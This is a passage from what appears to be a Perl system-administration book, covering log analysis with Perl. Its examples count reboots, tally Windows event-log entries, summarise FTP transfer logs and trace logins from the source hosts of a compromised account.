  • Before we actually write to this file, we lstat( ) the open filehandle and check that it is still the same file we expect it to be and it hasn't been switched since we initially checked it. If it is not the same file (e.g., someone swapped the file with a link right before the open), we do not write to the file and complain loudly. This last step avoids a race condition as mentioned in Chapter 1, "Introduction".

If we didn't have to append, we could have opened a temporary file with a randomized name (so it couldn't be guessed ahead of time) and renamed the temporary file into place.

These sorts of gyrations are necessary on most Unix systems because Unix was not originally designed with security as a high priority. Symbolic-link security breaches are not a problem under NT4 since they are a little-used part of the POSIX subsystem, and MacOS, which doesn't have the notion of "privileged user."[3]

[3]In fairness, both NT and MacOS have their own unique security weaknesses. Also, there is considerable time and effort these days being spent to "harden" various Unix distributions (e.g., OpenBSD).

Previous | Home | Next
9.3. Stateful and Stateless Data | Book Index | 9.5. Log Analysis
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Log Analysis (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.5. Log Analysis

Some system administrators never get past the rotation phase in their relationship with their log files. As long as the necessary information exists on disk when it is needed for debugging, they never put any thought into using their log file information for any other purpose. I'd like to suggest that this is a shortsighted view, and that a little log file analysis can go a long way. We're going to look at a few approaches you can use for performing log file analysis in Perl, starting with the most simple and getting more complex as we go along.

Most of the examples in this section use Unix log files for demonstration purposes, since the average Unix system has more log files than sample systems from either of the other two operating systems put together, but the approaches offered here are not OS-specific.

9.5.1. Stream Read-Count

The easiest approach is the simple "read-and-count." We read through a stream of log data, looking for interesting data, and increment a counter when we find it. Here's a simple example, which counts the number of times a machine has rebooted based on the contents of a Solaris 2.6 wtmpx file:[4]

[4]wtmpx is a file that uses an extended form of the u/wtmp format. It was designed to record events without some of the field length constraints of the classic format (e.g., 16-character remote hostnames). Under Solaris, each login/logout is logged to both wtmp and wtpmx.

# template for Solaris 2.6 wtmpx, see the pack(  ) doc
# for more information
$template = "A32 A4 A32 l s s2 x2 l2 l x20 s A257 x";

# determine the size of a record
$recordsize = length(pack($template,(  )));
# open the file
open(WTMP,"/var/adm/wtmpx") or die "Unable to open wtmpx:$!\n";

# read through it one record at a time
while (read(WTMP,$record,$recordsize)) {
    ($ut_user,$ut_id,$ut_line,$ut_pid,$ut_type,$ut_e_termination,
     $ut_e_exit,$tv_sec,$tv_usec,$ut_session,$ut_syslen,$ut_host)=
       unpack($template,$record);

    if ($ut_line eq "system boot"){
        print "rebooted ".scalar localtime($tv_sec)."\n";
        $reboots++;
    }
}

close(WTMP);
print "Total reboots: $reboots\n";

Let's extend this methodology and see an example of statistics gathering using the Windows NT Event Log facility. As mentioned before, NT has a well-developed and fairly sophisticated system-logging mechanism. This sophistication makes it a bit trickier for the beginning Perl programmer. We'll have to use some Win32-specific Perl module routines to get at the basic log information.

NT programs and operating system components log their activities by posting "events" to one of several different event logs. These events are recorded by the OS with basic information like when the event was posted, which program or OS function is posting the event, what kind of event (informational or something more serious) is being posted, etc.

Unlike Unix, the actual description of the event, or log message, is not actually stored with the event entry. Instead, an EventID is posted to the log. This EventID contains a reference to a specific message compiled into a program library (.dll ). Retrieving a log message given an EventID is tricky. The process involves looking up the proper library in the Registry and loading the library by hand. Luckily, the current version of Win32::EventLog performs this process for us automatically (see $Win32::EventLog::GetMessageText in our first Win32::Eventlog example earlier, Section 9.2.3, "Using the OS's Logging API".

For our next example, we're going to generate some simple statistics on the number of entries currently in the System log, where they have come from, and their level of severity. We'll write this program in a slightly different manner than the first NT logging example in this chapter.

Our first step is to load the Win32::EventLog module that contains the glue between Perl and the Win32 event log routines. We then initialize a hash table that will be used to contain the results of our calls to the log-reading routines. Perl would normally take care of this for us, but sometimes it is good to add code like this for the benefit of others who will be reading the program. Finally, we set up a small list of event types that we will use later for printing statistics:

use Win32::EventLog;

my %event=('Length',NULL,
           'RecordNumber',NULL,
           'TimeGenerated',NULL,
           'TimeWritten',NULL,
           'EventID',NULL,
           'EventType',NULL,
           'Category',NULL,
           'ClosingRecordNumber',NULL,
           'Source',NULL,
           'Computer',NULL,
           'Strings',NULL,
           'Data',NULL,);

# partial list of event types, i.e., Type 1 is "Error",
# 2 is "Warning", etc.
@types = ("","Error","Warning","","Information");

Our next step is to open up the System event log. The Open( ) places an EventLog handle into $EventLog that we can use as our connection to this particular log:

Win32::EventLog::Open($EventLog,'System','')
  or die "Could not open System log:$^E\n";

Once we have this handle, we can use it to retrieve the number of events in the log and the number of the oldest record:

$EventLog->Win32::EventLog::GetNumber($numevents);
$EventLog->Win32::EventLog::GetOldest($oldestevent);

We use this information as part of our first Read( ) statement, which positions us to the place in the log right before the first record. This is the equivalent of seek( )ing to the beginning of a file:

$EventLog->Win32::EventLog::Read((EVENTLOG_SEEK_READ |
                                  EVENTLOG_FORWARDS_READ),
                                  $numevents + $oldestevent, $event);

And then from here on in, it is a simple loop to read each log entry in turn. The EVENTLOG_SEQUENTIAL_READ flag says "continue reading from the position of the last record read." The EVENTLOG_FORWARDS_READ flag moves us forward in chronological order.[5] The third argument to Read( ) is the record offset, in this case 0, because we want to pick up right where we left off. As we read each record, we record its Source and EventType in a hash table of counters.

[5]Here's another place where the Win32 event log routines are more flexible than usual. Our code could have moved to the to the end of the log and read backwards in time if we wanted to do that for some reason.

# loop through all of the events, recording the number of
# Source and EventTypes
for ($i=0;$i<$numevents;$i++) {
    $EventLog->Read((EVENTLOG_SEQUENTIAL_READ |
                     EVENTLOG_FORWARDS_READ),
                     0, $event);
    $source{$event->{Source}}++;
    $types{$event->{EventType}}++;
}

# now print out the totals
print "-->Event Log Source Totals:\n";
for (sort keys %source) {
    print "$_: $source{$_}\n";
}
print "-"x30,"\n";
print "-->Event Log Type Totals:\n";
for (sort keys %types) {
    print "$types[$_]: $types{$_}\n";
}
print "-"x30,"\n";
print "Total number of events: $numevents\n";

My results look like this:

--> Event Log Source Totals:
Application Popup: 4
BROWSER: 228
DCOM: 12
Dhcp: 12
EventLog: 351
Mouclass: 6
NWCWorkstation: 2
Print: 27
Rdr: 12
RemoteAccess: 108
SNMP: 350
Serial: 175
Service Control Manager: 248
Sparrow: 5
Srv: 201
msbusmou: 162
msi8042: 3
msinport: 162
mssermou: 151
qic117: 2
------------------------------
--> Event Log Type Totals:
Error: 493
Warning: 714
Information: 1014
------------------------------
Total number of events: 2220

As promised, here's some sample code that relies on a last-like program to dump the contents of the event log. It uses a program called ElDump by Jesper Lauritsen, downloaded from http://www.ibt.ku.dk/jesper/JespersNTtools.htm. ElDump is similar to DumpEl found in the NT Resource Kit:

$eldump = 'c:\bin\eldump';      # path to ElDump
# output data field separated by ~ and without full message
# text (faster)
$dumpflags = '-l system -c ~ -M';

open(ELDUMP,"$eldump $dumpflags|") or die "Unable to run $eldump:$!\n";

print STDERR "Reading system log.";

while(<ELDUMP>){
    ($date,$time,$source,$type,$category,$event,$user,$computer) =
    split('~');
    $$type{$source}++;
    print STDERR ".";
}
print STDERR "done.\n";

close(ELDUMP);

# for each type of event, print out the sources and number of
# events per source
foreach $type (qw(Error Warning Information
                  AuditSuccess AuditFailure)){
    print "-" x 65,"\n";
    print uc($type)."s by source:\n";
    for (sort keys %$type){
        print "$_ ($$type{$_})\n";
    }
}
print "-" x 65,"\n";

Here's a snippet from the output:

ERRORs by source:
BROWSER (8)
Cdrom (2)
DCOM (15)
Dhcp (2524)
Disk (1)
EventLog (5)
RemoteAccess (30)
Serial (24)
Service Control Manager (100)
Sparrow (2)
atapi (2)
i8042prt (4)
-----------------------------------------------------------------
WARNINGs by source:
BROWSER (80)
Cdrom (22)
Dhcp (76)
Print (8)
Srv (82)

9.5.1.1. A simple stream read-count variation

A simple variation of the stream read-count approach involves taking multiple passes through the data. This is sometimes necessary for large data sets and cases where it takes an initial scan through the data before you can determine the difference between interesting and non-interesting data. Programmatically, this means after the first pass through the input, either:

  • Moving back to the beginning of the data stream (which could just be a file) using seek( ) or an API-specific call, or

  • Closing and re-opening the filehandle. This is often the only choice when you are reading the output of a program like last.

Here's an example where a multiple-pass read-count approach might be useful. Imagine you have to deal with a security breach where an account on your system has been compromised. One of the first questions you might want to ask is "Has any other account been compromised from the same source machine?" Finding a comprehensive answer to this seemingly simple question turns out to be trickier than you might expect. Let's take a first shot at the problem. This SunOS-specific code (see the initial template) takes the name of a user as its first argument and an optional regular expression as a second argument for filtering out hosts we wish to ignore:

$template       = "A8 A8 A16 l"; # for SunOS 4.1.x
$recordsize     = length(pack($template,(  )));
($user,$ignore) = @ARGV;

print "-- scanning for first host contacts from $user --\n";
open(WTMP,"/var/adm/wtmp") or die "Unable to open wtmp:$!\n";
while (read(WTMP,$record,$recordsize)) {
    ($tty,$name,$host,$time)=unpack($template,$record);

    if ($user eq $name){
       next if (defined $ignore and $host =~ /$ignore/o);
        if (length($host) > 2 and !exists $contacts{$host}){
            $connect = localtime($time);
            $contacts{$host}=$time;
            write;
        }
    }
}

print "-- scanning for other contacts from those hosts --\n";
die "Unable to seek to beginning of wtmp:$!\n"
  unless (seek(WTMP,0,0));

while (read(WTMP,$record,$recordsize)) {
    ($tty,$name,$host,$time)=unpack($template,$record);

    # if it is not a logout, and we're looking for this host,
    # and this is a connection from a user *other* than the
    # compromised account, then record
    if (substr($name,1,1) ne "\0" and
         exists $contacts{$host} and
         $name ne $user){
             $connect = localtime($time);
             write;
    }
}
close(WTMP);

# here's the output format, may need to be adjusted based on template
format STDOUT =
@<<<<<<<<    @<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<<<<<
$name,$host,$connect
.

First the program scans through a wtmp file looking for all logins from the compromised user. As it finds them, it compiles a hash of all of the hosts from which these logins took place. It then rolls back to the beginning of the file and scans for connections from that host list, printing matches as it finds them. It would be easy to modify this program to scan all of the files in a directory of rotated wtmp log files.

One problem with this program is that it is too specific. It will only match exact hostnames. If an intruder is coming in from a dialup modem bank of an ISP (which they often are), chances are the hostnames will change with each dial-up connection. Still, partial solutions like this often help a great deal.

Besides its simplicity, the stream read-count approach we've been discussing has the advantage of being faster and less memory-intensive than other method. It works best with the stateless type of log files we discussed early on in the chapter. But sometimes, especially when dealing with stateful data, we need to use a different plan of attack.

9.5.2. Read-Remember-Process

The opposite extreme of our previous approach, where we passed by the data as fast as possible, is to read it into memory and deal with it after reading. Let's look at a few versions of this strategy.

First, an easy example: let's say you have an FTP transfer log and you want to know which files have been transferred the most often. Here are some sample lines from a wu-ftpd FTP server transfer log:

Sun Dec 27 05:18:57 1998 1 nic.funet.fi 11868
/net/ftp.funet.fi/CPAN/MIRRORING.
FROM a _ o a cpan@perl.org ftp 0 *
Sun Dec 27 05:52:28 1998 25 kju.hc.congress.ccc.de 269273
/CPAN/doc/FAQs/FAQ/
PerlFAQ.html a _ o a mozilla@ ftp 0 *
Sun Dec 27 06:15:04 1998 1 rising-sun.media.mit.edu 11868
/CPAN/MIRRORING.FROM b _
o a root@rising-sun.media.mit.edu ftp 0 *
Sun Dec 27 06:15:05 1998 1 rising-sun.media.mit.edu 35993 /CPAN/RECENT.html b _ o a
root@rising-sun.media.mit.edu ftp 0 *

Here's the list of fields for each line of the previous output (please see the wu-ftpd server manpage xferlog(5) for details on each field).

Field # | Field Name
0 | current-time
1 | transfer-time (in seconds)
2 | remote-host
3 | filesize
4 | filename
5 | transfer-type
6 | special-action-flag
7 | direction
8 | access-mode
9 | username
10 | service-name
11 | authentication-method
12 | authenticated-user-id

Here's some code to show which files have been transferred most often:

$xferlog = "/var/adm/log/xferlog";

open(XFERLOG,$xferlog) or die "Unable to open $xferlog:$!\n";

while (<XFERLOG>){
    $files{(split)[8]}++;
}

close(XFERLOG);

for (sort {$files{$b} <=> $files{$a}||$a cmp $b} keys %files){
    print "$_:$files{$_}\n";
}

We read each line of the file, using the name of the file as a hash key and incrementing the value for that key. The name of the file is extracted from each log line using an array index that references a specific element of the list returned by the split( ) function:

$files{(split)[8]}++;

You may notice that the specific element we reference (8) is different from the 8th field in the xferlog field listing above. This is an unfortunate result of the lack of field delimiters in the original file. We are splitting on whitespace (the default for split( )), so the date field becomes five separate list items.

One subtle trick in this code sample is in the anonymous sort function we use to sort the values:

for (sort {$files{$b} <=> $files{$a}||$a cmp $b} keys %files){

Note that the places of $a and $b have been switched from their alphabetical order in the first portion. This causes sort to return the items in descending order, thus showing us the more frequently transferred files first. The second portion of the anonymous sort function (||$a cmp $b) assures that we list files with the same number of transfers in a sorted order.

If we want to limit this script to counting only certain files or directories, we could let the user specify a regular expression as the first argument to this script. For example, adding:

next unless /$ARGV[0]/o;

to the while( ) loop allows you to specify a regular expression to limit which files will be counted.

Regular Expressions

Regular expression crafting is often one of the most important parts of log parsing. Regexps are used like programmatic sieves to extract the interesting data from the non-interesting data in your logs. The regular expressions used in this chapter are very basic, but you'll probably be creating more sophisticated regexps for your own use. You may wish to use the subroutine or compiled regular expression techniques introduced in the previous chapter to use them even more efficiently.

Any time you spend learning how to wield regexp power will benefit you in many ways. One of the best for learning about regular expressions is Jeffrey Friedl's book, Mastering Regular Expressions (O'Reilly).

Let's take a look at another example of the read-remember-process approach using our "breach-finder" program from the previous section. Our earlier code only showed us successful logins from the intruder sites. We have no way of knowing about unsuccessful attempts. For that information, we're going to have to bring in another log file.

WARNING

This problem exposes one of Unix's flaws: Unix systems tend to store log information in a number of different places and formats. Few tools are provided for dealing with these disparities (luckily we have Perl). It is not uncommon to need more than one data source to solve problems like these.

The log file that will be the most help to us in this endeavor is the one generated through syslog by Wietse Venema's Unix security tool tcpwrappers. tcpwrappers provides gatekeeper programs and libraries that can be used to control access to network services. An individual network service like telnet can be configured so that a tcpwrappers program first handles all network connections to this service. After a connection is made, the tcpwrappers program will syslog the connection attempt and then either pass the connection off to the real service or take some action (like dropping the connection). The choice of whether to let the connection through is based on some simple user-provided rules (e.g., allow only certain originating hosts). tcpwrappers can also take preliminary precautions to make sure the connection is coming from the place it purports to come from using a DNS reverse-lookup. It can also be configured to log the name of the user who made the connection (via the RFC931 ident protocol) if possible. For a more detailed description of tcpwrappers, see Simson Garfinkel and Gene Spafford's book Practical Unix & Internet Security (O'Reilly).

For our purposes, we can just add some code to our previous breach-finder program that scans the tcpwrappers log (tcpdlog in this case) for connections from the suspect hosts we found in our scan of wtmp. If we add the following code to the end of our previous code sample:

# tcpd log file location
$tcpdlog        = "/var/log/tcpd/tcpdlog";
$hostlen        = 16;  # max length of hostname in wtmp file

print "-- scanning tcpdlog --\n";
open(TCPDLOG,$tcpdlog) or die "Unable to read $tcpdlog:$!\n";
while(<TCPDLOG>){
    next if !/connect from /; # we only care about connections
    ($connecto,$connectfrom) = /(.+):\s+connect from\s+(.+)/;
    $connectfrom =~ s/^.+@//;

    # tcpwrappers can log the entire hostname, not just the first N
    # characters like some wtmp logs. As a result, we need to truncate
    # the hostname at the same place as the wtmp file if we want to
    # perform a hash lookup below
    $connectfrom = substr($connectfrom,0,$hostlen);
    print if (exists $contacts{$connectfrom} and
              $connectfrom !~ /$ignore/o);
}

we get output that looks like this:

-- scanning for first host contacts from user --
user       host.ccs.neu  Fri Apr  3 13:41:47
-- scanning for other contacts from those hosts --
user2      host.ccs.neu  Thu Oct  9 17:06:49
user2      host.ccs.neu  Thu Oct  9 17:44:31
user2      host.ccs.neu  Fri Oct 10 22:00:41
user2      host.ccs.neu  Wed Oct 15 07:32:50
user2      host.ccs.neu  Wed Oct 22 16:24:12
-- scanning tcpdlog --
Jan 12 13:16:29 host2 in.rshd[866]: connect from user4@host.ccs.neu.edu
Jan 13 14:38:54 host3 in.rlogind[4761]: connect from user5@host.ccs.neu.edu
Jan 15 14:30:17 host4 in.ftpd[18799]: connect from user6@host.ccs.neu.edu
Jan 16 19:48:19 host5 in.ftpd[5131]: connect from user7@host.ccs.neu.edu

You may have noticed that the output above found connections from two different time ranges. We found connections in wtmp from April 3 to October 22, while the tcpwrappers data appeared to show only January connections. The difference in dates is an indication that our wtmp files and our tcpwrappers files are rotated at different speeds. You need to be aware of these details when writing code that tacitly assumes the two log files being correlated refer to the same time period.

For a final and more sophisticated example of the read-remember-process approach, let's look at a task that requires combining stateful and stateless data. If you wanted a more comprehensive picture of the activity on a wu-ftpd server, you might want to use code to correlate the login and logout activity logged in a machine's wtmp file with the file transfer information recorded by wu-ftpd in its xferlog file. It might be nice if you could see output that showed when an FTP session started and finished, and what transfers took place during that session.

Here's a snippet of sample output from the code we're about to assemble. It shows four FTP sessions in March. The first session shows one file being transferred to the machine. The next two show files being transferred from that machine, and the last shows a connection without any transfers:

Thu Mar 12 18:14:30 1998-Thu Mar 12 18:14:38 1998 pitpc.ccs.neu.ed
        -> /home/dnb/makemod

Sat Mar 14 23:28:08 1998-Sat Mar 14 23:28:56 1998 traal-22.ccs.neu
        <- /home/dnb/.emacs19

Sat Mar 14 23:14:05 1998-Sat Mar 14 23:34:28 1998 traal-22.ccs.neu
        <- /home/dnb/lib/emacs19/cperl-mode.el
        <- /home/dnb/lib/emacs19/filladapt.el

Wed Mar 25 21:21:15 1998-Wed Mar 25 21:36:15 1998 traal-22.ccs.neu
        (no transfers in xferlog)

Producing this output turns out to be non-trivial, since we need to pigeonhole stateless data into a stateful log. The xferlog transfer log shows only the time and the host that initiated the transfer. The wtmp log shows the connection and disconnections from other hosts to the server. Let's walk through how to combine the two types of data using a read-remember-process approach. We'll define some variables for the program, and then call the subroutines to perform each task:

# for date->Unix time (secs from Epoch) conversion
use Time::Local;

$xferlog = "/var/log/xferlog"; # location of transfer log
$wtmp = "/var/adm/wtmp";       # location of wtmp
$template = "A8 A8 A16 l";     # SunOS 4.1.4 template for wtmp
$recordsize = length(pack($template,(  ))); # size of each wtmp entry
$hostlen = 16;   # max length of the hostname in wtmp
# month name to number mapping
%month = qw{Jan 0 Feb 1 Mar 2 Apr 3 May 4 Jun 5 Jul 6
            Aug 7 Sep 8 Oct 9 Nov 10 Dec 11};

&ScanXferlog;    # scan the transfer log
&ScanWtmp;       # scan the wtmp log
&ShowTransfers;  # correlate and print transfers

Now let's look at the procedure that reads the wu-ftpd xferlog logfile:

# scans a wu-ftpd transfer log and populates the %transfers
# data structure
sub ScanXferlog {
    local($sec,$min,$hours,$mday,$mon,$year);
    my($time,$rhost,$fname,$direction);

    print STDERR "Scanning $xferlog...";
    open(XFERLOG,$xferlog) or
       die "Unable to open $xferlog:$!\n";

    while (<XFERLOG>){
       # use an array slice to select the fields we want
       ($mon,$mday,$time,$year,$rhost,$fname,$direction) =
          (split)[1,2,3,4,6,8,11];

       # add the direction of transfer to the filename,
       # i is "transferred in"
       $fname = ($direction eq 'i' ? "-> " : "<- ") . $fname;

       # convert the transfer time to Unix epoch format
       ($hours,$min,$sec) = split(':',$time);
       $unixdate =
         timelocal($sec,$min,$hours,$mday,$month{$mon},$year);

       # put the data into a hash of lists of lists:
       push(@{$transfers{substr($rhost,0,$hostlen)}},
            [$unixdate,$fname]);
    }
    close(XFERLOG);
    print STDERR "done.\n";
}

The push( ) line of Perl in the previous code probably deserves a little explanation. This line creates a hash of lists of lists that looks something like this:

$transfers{hostname} =
  ([time1, filename1], [time2, filename2],[time3, filename3]...)

The %transfers hash is keyed on the name of the host that initiated the transfer. We truncate that name to the largest string size our wtmp can hold as we create each hash entry.

For each host, we store a list of transfer pairs, each pair recording when a file was transferred and the name of that file. We're choosing to store the time in "seconds since the epoch" for ease of comparison later.[6] The subroutine timelocal( ) from the module Time::Local helps us convert to that standard. Because we're scanning a file transfer log written in chronological order, these lists of pairs are built in chronological order as well, a property that will come in handy later.

[6]This is seconds since some arbitrary starting point. For example, the epoch on most Unix machines is 00:00:00 GMT on January 1, 1970.

Let's move on to scanning wtmp :

# scans the wtmp file and populates the @sessions structure
# with ftp sessions
sub ScanWtmp {
    my($record,$tty,$name,$host,$time,%connections);

    print STDERR "Scanning $wtmp...\n";
    open(WTMP,$wtmp) or die "Unable to open $wtmp:$!\n";

    while (read(WTMP,$record,$recordsize)) {

        # don't even bother to unpack if record does not begin
        # with ftp. NOTE: this creates a wtmp format dependency
        # as a trade-off for speed
        next if (substr($record,0,3) ne "ftp");

        ($tty,$name,$host,$time)=unpack($template,$record);

        # if we find an open connection record, then
        # create a hash of list of lists. The LoL will be used
        # as a stack below.
        if ($name and substr($name,0,1) ne "\0"){
            push(@{$connections{$tty}},[$host,$time]);
        }
       # if we find a close connection record, we try to pair
       # it with a previous open connection record we recorded
       # before
        else {
               unless (exists $connections{$tty}){
               warn "found lone logout on $tty:" .
                     scalar localtime($time)."\n";
               next;
            }
           # we'll use the previous open connect and this
           # close connect to record this as a single session.
           # To do that we create a list of lists where each
           # list is (hostname, login, logout)
           push(@sessions,
                [@{shift @{$connections{$tty}}},$time]);

            # if no more connections on the stack for that
            # tty, remove from hash
            delete $connections{$tty}
              unless (@{$connections{$tty}});
        }
    }
    close(WTMP);
    print STDERR "done.\n";
}

Let's look at what's going in this code. We read through wtmp one record at a time. If that record begins with ftp, we know that this is an FTP session. As the comment says, the line of code that makes that decision has an implicit assumption about the format of a wtmp record. If tty was not the first field in the record, this test would not work. However, being able to test whether a line is of interest without having to unpack( ) is worth it.

Once we've found a line that begins with ftp, we take it apart to determine if it describes opening or closing of an FTP session. If it is an opening of a connection, we record that in %connections, a data structure that keeps tabs on all the open sessions. Like %transfers in our previous subroutine, it is a hash of list of lists, this time keyed on the tty (i.e., terminal) of each connection. Each of the values in this hash is a set of pairs detailing the connection hostname and time.

Why use such a complicated data structure to keep track of the open connections? Unfortunately, there isn't a simple "open-close open-close open-close" pairing of lines in wtmp. For instance, take a look at these lines from wtmp (as printed by our first wtmp program earlier in this chapter):

ftpd1833:dnb:ganges.ccs.neu.e:Fri Mar 27 14:04:47 1998
ttyp7:(logout):(logout):Fri Mar 27 14:05:11 1998
ftpd1833:dnb:hotdiggitydog-he:Fri Mar 27 14:05:20 1998
ftpd1833:(logout):(logout):Fri Mar 27 14:06:20 1998
ftpd1833:(logout):(logout):Fri Mar 27 14:06:43 1998

Notice the two open FTP connection records on the same tty (lines 1 and 3). If we just stored a single connection per tty in a plain hash, we'd lose the first connection record when we found the second one.

Instead, we use the list of lists keyed off every tty in %connections as a stack. When we see a connection opening, we add a (host, login-time) pair for the connection to the stack kept for that tty. Each time we see a close connection line for this tty, we "pop" one of the open connection records off the stack and store our complete information about the session as a whole in another data structure. That's the purpose of this line of code:

push(@sessions,[@{shift @{$connections{$tty}}},$time]);

Let's untangle this line from the inside out to make sure everything is clear. The part in bold type returns a reference to the stack/list of open connection pairs for a specific tty:

push(@sessions,[@{shift @{$connections{$tty}}},$time]);

This pops the reference to the first connection pair off that stack:

push(@sessions,[@{shift @{$connections{$tty}}},$time]);

We dereference it to get at the actual (host, login-time) connection pair list. If we place this pair at the beginning of another list that ends with the connection time, Perl will interpolate the connection pair and we'll have a single, three-element list. This gives us a triad of (host, login-time, logout-time):

push(@sessions,[@{shift @{$connections{$tty}}},$time]);

Now that we have all of the parts (initiating host, connection start, and end) of an FTP session in a single list, we can push a reference to that list on to the @sessions lists of lists for future use:

push(@sessions,[@{shift @{$connections{$tty}}},$time]);

We have a list of sessions thanks to this one, very busy line of code.

To finish the job in our &ScanWtmp subroutine we check if the stack is empty for a tty, i.e., there are no more open connection requests pending. If this is the case we can delete that tty's entry from the hash; we know the connection has ended:

delete $connections{$tty} unless (@{$connections{$tty}});

Time to do the actual correlation between our two different data sets. This task falls to our &ShowTransfers subroutine. For each session, it prints out the connection triad, and then the files transferred during this session.

# iterate over the session log, pairing sessions
# with transfers
sub ShowTransfers {
    local($session);

    foreach $session (@sessions){

        # print session times
        print scalar localtime($$session[1]) . "-" .
              scalar localtime($$session[2]) .
              " $$session[0]\n";

       # find all files transferred in this connection triad
       # and print them
        print &FindFiles(@{$session}),"\n";
    }
}

Here's the hard part, deciding whether a particular login session had any transfers:

# returns all of the files transferred for a given connect
# session triad
sub FindFiles{
    my($rhost,$login,$logout) = @_;
    my($transfer,@found);

    # easy case, no transfers in this login
    unless (exists $transfers{$rhost}){
        return "\t(no transfers in xferlog)\n";
    }

    # easy case, first transfer we have on record is
    # after this login
    if ($transfers{$rhost}->[0]->[0] > $logout){
        return "\t(no transfers in xferlog)\n";
    }

    # find any files transferred in this session
    foreach $transfer (@{$transfers{$rhost}}){

        # if transfer happened before login
         next if ($$transfer[0] < $login);

        # if transfer happened after logout
        last if ($$transfer[0] > $logout);

        # if we've already used this entry
        next unless (defined $$transfer[1]);

        push(@found,"\t".$$transfer[1]."\n");
        undef $$transfer[1];
    }
    ($#found > -1 ? @found : "\t(no transfers in xferlog)\n")
}

We can eliminate the easy cases first. If we've never seen transfers initiated by this host, or the first transfer associated with this host occurs after the session triad we are checking has ended, we know no files have been transferred during that session.

If we can't eliminate the easy cases, we need to look through our lists of transfers. We check if each transfer made from the host in question occurred after the session started, but before the session ended. We skip to the next transfer if either of these conditions isn't true. We also avoid testing the other transfers for the host as soon as we've found a transfer that takes place after the session has ended. Remember we mentioned that all of the transfers are added to the data structure in chronological order? Here's where it pays off.

The last test we make before considering a transfer entry to be valid may look a little peculiar:

# if we've already used this entry
next unless (defined $$transfer[1]);

If two anonymous FTP sessions from the same host overlap in time, we have no way of knowing which session is responsible for initiating a transfer of that file. There is simply no information from either of our logs that can help us make that determination. The best we can do in this case is make up a standard and keep to it. The standard here is "attribute the transfer to the first session possible." This test line above, and the subsequent undefing of the filename value as a flag, enforces that standard.

If this final test passes, we declare victory and add the filename to the list of files transferred in that session. The session and its accompanying file transfers are printed.

Read-remember-process programs that have to do this sort of correlation can get fairly sophisticated, especially when they are bringing together data sources where the correlation is a bit fuzzy. So in good Perl spirit, let's see if we can take an easier approach.

9.5.3. Black Boxes

In the Perl world, if you are trying to write something generally useful, another person may have beat you to it and published their code for the task. This gives you an opportunity to simply feed your data into their module in a prescribed way and receive results without having to know how the task was performed. This is often known as a "black box approach."

One example is the SyslogScan package by Rolf Harold Nelson. Earlier in this chapter we noted that parsing a mail log file from sendmail can be tricky because the lines are stateful. Each line often has one or more sibling lines interspersed with other lines later in the log. The SyslogScan package offers an easy way to refer to each mail delivery without having to manually scan the file and pair up all of the relevant lines. It can filter for certain addresses and keep track of some rudimentary statistics for the messages it has seen.

SyslogScan is object-oriented, so the first step is to load the module and create a new object instance:

use SyslogScan::DeliveryIterator;

# a list of mail syslog files
$maillogs = ["/var/log/mail/maillog"];

$iterator = new SyslogScan::DeliveryIterator(syslogList => $maillogs);

The new method of SyslogScan::DeliveryIterator returns an iterator, essentially a pointer into the file that shuttles forward message delivery by message delivery. By using an iterator, we are spared from the actual work of scanning ahead in the file looking for all of the lines related to a particular message. If we call the next( ) method of that iterator, it will hand us back a delivery object. This object encapsulates the information about that delivery previously spread over several lines in the log. For example, this code:

while ($delivery = $iterator -> next(  )){
    print $delivery->{Sender}." -> ".
           join(",",@{$delivery->{ReceiverList}}),"\n";
}

prints out information like:

root@host.ccs.neu.edu -> user1@cse.scu.edu
owner-freebsd-java-digest@freebsd.org -> user2@ccs.neu.edu
root@host.ccs.neu.edu -> user3@ccs.neu.edu

It gets even snazzier. If we feed a SyslogScan iterator object to the new method of the SyslogScan::Summary module, new will take all of the output from that iterator's next method and return a summary object. This summary object contains usage summaries for all of the delivery objects that iterator could possible return.

But the SyslogScan package takes this functionality to still another level. If we now feed a summary object to the new method of SyslogScan::ByGroup, we get a bygroup object that has grouped all of the summaries into domains and compiled stats for those groups. Here's the magic we just described in action:

use SyslogScan::DeliveryIterator;
use SyslogScan::Summary;
use SyslogScan::ByGroup;
use SyslogScan::Usage;

# the location of our maillog
$maillogs = ["/var/log/mail/maillog"];

# get an iterator for this file
$iterator = new SyslogScan::DeliveryIterator(syslogList => $maillogs);

# feed this iterator to ::Summary, receive a summary object
$summary = new SyslogScan::Summary($iterator);

# feed this summary object to ::ByGroup and receive a
# stats-by-group object
$bygroup = new SyslogScan::ByGroup($summary);

# print the contents of this object
foreach $group (sort keys %$bygroup){
    ($bmesg,$bbytes)=@{$bygroup->{$group}->
                      {groupUsage}->getBroadcastVolume(  )};
    ($smesg,$sbytes)=@{$bygroup->{$group}->
                      {groupUsage}->getSendVolume(  )};
    ($rmesg,$rbytes)=@{$bygroup->{$group}->
                      {groupUsage}->getReceiveVolume(  )};
    ($rmesg,$rbytes)=@{$bygroup->{$group}->
                      {groupUsage}->getReceiveVolume(  )};
    write;
}

format STDOUT_TOP =
Name                         Bmesg  BByytes  Smesg  SBytes   Rmesg  Rbytes
---------------------------  -----  -------- ------ -------- ------ -------
.
format STDOUT =
@<<<<<<<<<<<<<<<<<  @>>>>> @>>>>>>> @>>>>> @>>>>>>> @>>>>> @>>>>>>>
$group,$bmesg,$bbytes,$smesg,$sbytes,$rmesg,$rbytes
.

The result is a report detailing the number and bytes of broadcast, sent, and received messages. Here's an excerpt from some sample output:

Name                 Bmesg  BByytes  Smesg  SBytes   Rmesg  Rbytes
-------------------  -----  -------- ------ -------- ------ -------
getreminded.com          1     3420      1     3420      0        0
gillette.com             1      984      1      984      4     7812
gis.net                  3    10830      3    10830      1      787
globalserve.net          1     1245      1     1245      0        0
globe.com                0        0      0        0      1     2040

The plus side of the black box approach is that you can often get a great deal done, thanks to the hard work of the module or script author, with very little code of your own. The minus side to using the black box approach is the trust you have to place in another author's code. It may have subtle bugs or use an approach that does not scale for your needs. It is best to look over the code before you drop it into production in your site.

9.5.4. Using Databases

The last approach we'll discuss requires the most knowledge outside of the Perl domain to implement. As a result, we'll only take a very simple look at a technique that over time will probably become more prevalent.

The previous examples we've seen work fine on reasonably-sized data sets when run on machines with a reasonable amount of memory, but they don't scale. For situations where you have lots of data, especially if the data comes from different sources, databases are the natural tool.

